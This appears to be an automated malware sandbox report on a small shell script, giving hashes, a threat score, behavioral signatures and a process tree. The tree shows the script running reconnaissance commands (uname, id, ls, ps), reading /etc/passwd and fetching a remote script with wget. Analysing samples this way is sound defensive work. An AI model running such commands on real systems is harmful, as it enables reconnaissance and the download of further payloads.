Analysis
- max time kernel
1s - max time network
2s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
02/08/2026, 14:18
Static task
static1
Behavioral task
behavioral1
Sample
07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
4 signatures
40 seconds
Behavioral task
behavioral3
Sample
07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
0 signatures
40 seconds
Behavioral task
behavioral4
Sample
07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
0 signatures
40 seconds
General
- Target 07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh
- Size 178B
- Sample260802-rmlyaavclb
- SHA256 07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac
- MD5 005e2695274b1f7866cd73576a701c78
- SHA1 f990b609aadba389b0d23be1eafd4a6cb0daec02
- SHA512 9f33776cc65b9684f5f4a80efeeb1436359be71a930a9c756abc0f68ced859706f2ca8f4180320cd72add592f021c29542af36dbb6634c9c8962f0112a620f5d
- TLSH T1FBC0C0CB920887280C27C1100A84037ED040C2491A8000AC8CF895AB00FC34FA201981
- MD5 SHA1 SHA512 TLSH
Score
6/10
Malware Config
Signatures
- Enumerates running processes
Discovers information about currently running processes on the system
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 678 ps - Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/656/stat ps File opened for reading /proc/675/stat ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/19/stat ps File opened for reading /proc/567/stat ps File opened for reading /proc/15/stat ps File opened for reading /proc/20/stat ps File opened for reading /proc/20/status ps File opened for reading /proc/22/stat ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/29/status ps File opened for reading /proc/224/status ps File opened for reading /proc/648/stat ps File opened for reading /proc/29/cmdline ps File opened for reading /proc/107/stat ps File opened for reading /proc/675/status ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/16/cmdline ps File opened for reading /proc/41/status ps File opened for reading /proc/141/status ps File opened for reading /proc/323/cmdline ps File opened for reading /proc/575/cmdline ps File opened for reading /proc/656/cmdline ps File opened for reading /proc/3/status ps File opened for reading /proc/10/cmdline ps File opened for reading /proc/20/cmdline ps File opened for reading /proc/27/status ps File opened for reading /proc/98/stat ps File opened for reading /proc/171/status ps File opened for reading /proc/171/cmdline ps File opened for reading /proc/300/cmdline ps File opened for reading /proc/3/stat ps File opened for reading /proc/6/status ps File opened for reading /proc/13/stat ps File opened for reading /proc/18/stat ps File opened for reading /proc/321/stat ps File opened for reading /proc/578/status ps File opened for reading /proc/648/status ps File opened for reading /proc/uptime ps File opened for reading /proc/11/stat ps File opened for reading /proc/290/cmdline ps File opened for reading /proc/293/cmdline ps File opened for reading /proc/599/stat ps File opened for reading /proc/633/cmdline ps File opened for reading /proc/meminfo ps File opened for reading /proc/4/cmdline ps File opened for reading /proc/5/status ps File opened for reading /proc/21/status ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/42/stat ps File opened for reading /proc/137/cmdline ps File opened for reading /proc/224/stat ps File opened for reading /proc/2/stat ps File opened for reading /proc/25/status ps File opened for reading /proc/109/status ps File opened for reading /proc/288/status ps File opened for reading /proc/599/status ps File opened for reading /proc/638/status ps File opened for reading /proc/self/stat ps File opened for reading /proc/7/status ps File opened for reading /proc/12/stat ps File opened for reading /proc/23/stat ps File opened for reading /proc/23/status ps File opened for reading /proc/76/status ps
Processes
-
/tmp/07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh/tmp/07e692c84260486441e2282f1623d03a7cbf9f6b4e6ee23f247e4e46c5da3eac.sh1⤵PID:645
-
/bin/unameuname -a2⤵PID:650
-
-
/usr/bin/idid2⤵PID:652
-
-
/bin/lsls -la /2⤵PID:658
-
-
/bin/catcat /etc/passwd2⤵PID:669
-
-
/usr/bin/wgetwget http://example.com/y.sh2⤵PID:670
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:678
-